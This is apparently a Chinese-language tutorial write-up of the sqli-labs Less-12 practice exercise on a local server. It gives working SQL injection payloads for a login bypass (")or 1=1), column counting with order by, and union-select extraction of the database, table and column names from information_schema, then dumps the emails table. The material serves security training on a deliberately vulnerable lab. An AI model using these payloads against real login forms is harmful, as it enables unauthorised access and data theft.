摘要 {#摘要}
这篇文章主要介绍了如何进行SQL注入攻击,并以Less-12为例进行了实验演示。在实验中,作者先尝试使用万能密码进行登录,然后通过order by语句来判断字段数,再通过union select语句来判断显错位、库名、表名和列名。最后,作者成功获取了emails表中id列的数据。该文章对SQL注入攻击的基本原理和实践操作进行了详细的阐述,适合初学者进行学习和实践。
前言 {#前言}
这题的做法和Less-11类似,只是闭合的区别
前期准备 {#前期准备}
开启phpstudy,开启apache服务以及mysql服务
打开ASCII表
实验环节 {#实验环节}
浏览器访问Less-12 {#浏览器访问Less-12}
http://127.0.0.1/sqli-labs-master/Less-12/
尝试万能密码 {#尝试万能密码}
")or 1=1 -- xz
#需在登录框里输入该命令
判断字段数 {#判断字段数}
")or 1=1 order by 1 -- xz
#页面正常回显
")or 1=1 order by 2 -- xz
#页面正常回显
")or 1=1 order by 3 -- xz
#页面异常,说明字段数是2
判断显错位 {#判断显错位}
")union select 1,2 -- xz
判断库名 {#判断库名}
")union select 1,database() -- xz
#可得出我们的库名是security
判断表名 {#判断表名}
")union select 1,table_name from information_schema.tables where table_schema='security' -- xz
#说明我们的表名是emails
判断列名 {#判断列名}
")union select 1,column_name from information_schema.columns where table_schema='security' and table_name='emails' -- xz
#说明我们的列名是id
")union select 1,id from emails-- xz
#说明我们emails下的id列的数据是1